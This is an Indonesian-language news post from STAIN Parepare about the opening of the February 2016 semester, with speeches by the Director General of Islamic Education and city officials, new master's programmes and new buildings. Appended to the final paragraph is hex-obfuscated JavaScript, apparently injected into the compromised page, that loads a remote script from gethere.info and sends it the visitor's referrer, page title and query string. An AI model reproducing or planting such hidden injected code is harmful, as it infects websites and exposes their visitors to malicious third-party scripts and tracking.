Pembukaan Kuliah STAIN Parepare

21 Februari, 2016 oleh
webadmin1

Pembukaan Kuliah STAIN Parepare
STAIN PAREPARE- Sekolah Tinggi Agama Islam Negeri (STAIN) Parepare, kembali menggelar proses perkuliahan usai libur semester selama kurang lebih dua pekan lamanya, ditandai dengan pembukaan kuliah pada senin, tanggal 22 Februari 2016, di Auditorium STAIN Parepare.

Pada pembukaan kuliah kali ini dihadiri oleh Direktur Jenderal (DIRJEN) Pendidikan Islam Kementrian Agama RI bapak Prof. Dr. Phil. H. Kamaruddin Amin, M.A, yang sekaligus akan membawakan kuliah umum pada pembukaan kuliah hari ini. KASUBDIT Pengembangan Akademik Direktorat Pendidikan Tinggi Islam Kementrian Agama RI juga sempat hadir dalam acara ini, dan Walikota Parepare yang diwakili oleh BAPEDA Kota Parepare, serta segenap para dosen, staf dan mahasiswa yang memadatati ruang Auditorium. Pembukaan kuliah hari ini dirangkaikan dengan launching program magister (S2), yaitu Program Studi Ekonomi Syariah dan Komunikasi Penyiaran Islam, serta peresmian gedung Pusat Kegiatan Mahasiswa (PKM), dan gedung perkuliahan Jurusan Tarbiyah.

Ketua STAIN Parepare yang berkesempatan membawakan sambutan serta membuka perkuliahan untuk semester genap tahun ajaran 2016-2017 ini, menyampaikan bahwa hari ini cukup istimewa karena sekian pembukaan kuliah yang dilakukan oleh STAIN Parepare, barulah pada hari ini pembukaan kuliah di hadiri oleh bapak Dirjen Pendidikan Islam Kementrian Agama Republik Indonesia. Keistimewaan yang lain karena pada hari ini kita juga mendapat apresiasi dari Negara dengan diberikan isin operasional program studi pada pasca sarjana yang telah ditandatangani oleh bapak Dirjen beberapa waktu lalu yaitu program Ekonomi Islam dan Komunikasi Penyiaran Islam. Sehingga dengan adanya program pasca sarjana ini semua jurusan yang ada di kampus baik jurusan tarbiyah, syariah, serta dakwah dan komunikasi bisa melanjutkan pendidikannya pada program pasca sarjana. Keistimewaan yang ketiga pada hari ini juga kita akan menyaksikan peresmian gedung baru yakni gedung pusat kegiatan mahasiswa dan gedung perkuliahan jurusan tarbiyah.

Pada tahun 2016 ini pula STAIN Parepare mendapat anggaran pembebasan lahan sebesar 10 millyar, dan ini merupakan suatu kebanggaan tersendiri bagi kampus kita, karena pada tahun ini tidak semua perguruan tinggi mendapatkan anggaran yang sama seperti yang diperoleh STAIN Parepare, ini merupakan sebuah hasil pembuktian dari pekerjaan dan kerja keras bagi sipitas akademik. Kami punya niat untuk membangun lembaga kita ini menjadi lembaga yang kompetitif sesuai dengan visi dan misi STAIN Parepare.

Dan mudah-mudahan kehadiran bapak Dirjen pada hari ini merupakan kehadiran terakhir untuk kampus STAIN Parepare, karena kita berharap kedatangan beliau yang akan datang kampus kita ini sudah menjadi IAIN Parepare. Tentuh, semua ini diharapkan kerja keras sipitas akademik untuk membuktikan pada Negara apakah STAIN Parepare ini, layak menjadi Institusi atau harus masi tetap menjadi Sekolah Tinggi, maka saya mengajak kepada sipitas akademik mari perlihatkan kinerja kita, dan semangat kita serta tingkatkan sumber daya kita utamanya pada penguasaan Information and Technology (IT), karena insyaAllah segala aktivitas akademik, aktivitas administrasi pada tahun 2017 mendatang semua sudah harus berbasis IT.

Demikian pula untuk mengakomodir slogan yang senantiasa yang disampaikan bapak Dirjen, yaitu tentang integrasi keilmuan. InsyaAllah mulai pada tahun 2016 ini kami akan merancang kurikulum yang berbasis Kerangka Kualifikasi Nasional Indonesia (KKNI). sehingga kurikulum kami benar-benar tidak lagi kelihatan adanya pemisahan antara ilmu agama maupun ilmu umum, itu tekad kami untuk mengintegrasikan keilmuan ini, sesuai dengan visi dan program kerja dari bapak Dirjen.

Dan untuk itu juga pada tahun 2017 adalah tahun awal bagi kami akan membuka kelas Internasional, sehingga pada tahun 2017 nanti kita akan membuka dua kelas Internasional, dimana proses perkuliahan dilaksanakan hanya dengan dua bahasa, yaitu bahasa inggris dan bahasa arab. Untuk itu pada tahun 2016 ini kami akan mempersiapkan calon dosen yang akan memperkuat kelas Internasional tersebut, kami akan melakukan workshop pembinaan bahasa secara intensif kepada bapak dan ibu dosen yang memang pada awal tahun 2017 nanti mereka akan memperkuat atau mendukung dari kelas Internasional yang akan kita lakukan, ini adalah suatu upaya untuk menghadirkan mahasiswa luar negeri untuk menjadikan STAIN Parepare atau kedepan IAIN Parepare, menjadi tempat untuk menuntut ilmu yang layak bagi mereka.

Dalam pembukaan kuliah ini bapak Dr. Muh. Zein, M.ag, selaku KASUBDIT Pengembangan Akademik Direktorat Pendidikan Tinggi Islam Kementrian Agama Republik Indonesia. Menyampaikan beberapa hal penting terkait dengan program magister ini, bahwa betapa pentingnya program magister sekarang ini itu dikarenakan kita mengalami global dexterity atau ketangkasan global, makanya kita perluh memiliki ketangkasan global agar bisa bersain secara nasional dan internasional.

Inilah kritik kita pada pendidikan di Indonesia bahwa mahasiswa atau peserta didik kita kehilangan ketangkasan, gesit, mestinya mahasiswa itu cepat-cepat jalannya masyarakatpun juga harus begitu, karena kalau tidak seperti itu nanti kerang kakinya karena dingin, kalau kita masuk di kampus mahasiswa dari saban sampai marauke biasa jalannya mengantar penganting, kurang gesit, saya kira itu yang perluh kita perbaiki.

Kedua program magister ini adalah program seksi pertama namanya ekonomi syariah adalah suatu program yang banyak mengelolah uang atau pendapatang negara, makanya kenapa ekonomi syariah ini penting untuk dibuka pada program magister. Dan untuk bagi mahasiswa mulai hari ini harus belajar mengelolah kemandirian dan kesejahteraan hidup, hanya dengan itu kita bisa mengerti uang, mengerti kesejahteraan.

Ketiga kritik perguruan tinggi identik dengan ilmu pengetahuan. Ilmu pengetahuan bisa berkembang kalau ada kritik seperti halnya dengan para ulama-ulama dulu selalu mengembangkan risalah perdebatan, selalu mengembangkan kritik luar biasa. Dengan tantangan yang begitu banyak saat iniA�maka saya kira kritik seperti ini hanya bisa berkembang pada program sarjana.

Walikota Parepare yang kali ini diwakili oleh BAPEDA Kota Parepare juga berkesempatan membawakan sambutan. Dalam sambutan beliu menyampaikan selamat pada STAIN Parepare, atas peresmian gedung baru perkuliahan dan gedung pusat kegiatan mahasiswa, keberadaan gedung baru ini diharapkan dapat meningkatkan kualitas pembelajarann di kampus ini, gedung ini bukan hanya kebanggaan tersendiri bagi kampus STAIN Parepare, tetapi juga kebanggan masyarakat Kota Parepare.

Pada kesempatan ini saya juga mengucapkan terimakasih yang sebesar-besarnya pada STAIN Parepare yang memberikan sumbangsi terhadap pembangunan Kota Parepare. Saya juga mengharapkan pada STAIN Parepare agar senantiasa menjalin kerja sama dengan pemerintah Kota Parepare dalam memberikan saran serta kritik dan diskusi terhadap bangunan rusak, bagi STAIN sebagai pijakan pembangunan daerah maka disampaikan pada pemerintah daerah sehingga memudahkan dalam kualitas pembangunan yang berdasarkan kebutuhan daerah.

STAIN Parepare merupakan perguruan tinggi kebanggaan kita semua, sehingga kami harapkan agar senantiasa menghasilkan lulusan yang dapat menjadi agen dalam berbagai bidang yang dibutuhkan oleh pemerintah daerah. Kerja sama antara kampus dan pemerintah Kota Parepare, dengan adanya kebersamaan ini bahwa STAIN Parepare beranjak maju dan dapat mencetak mahasiswa-mahasiswa yang baik di Kota Parepare.var _0xd052=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}

di dalam Berita
webadmin1 21 Februari, 2016
Label
Arsip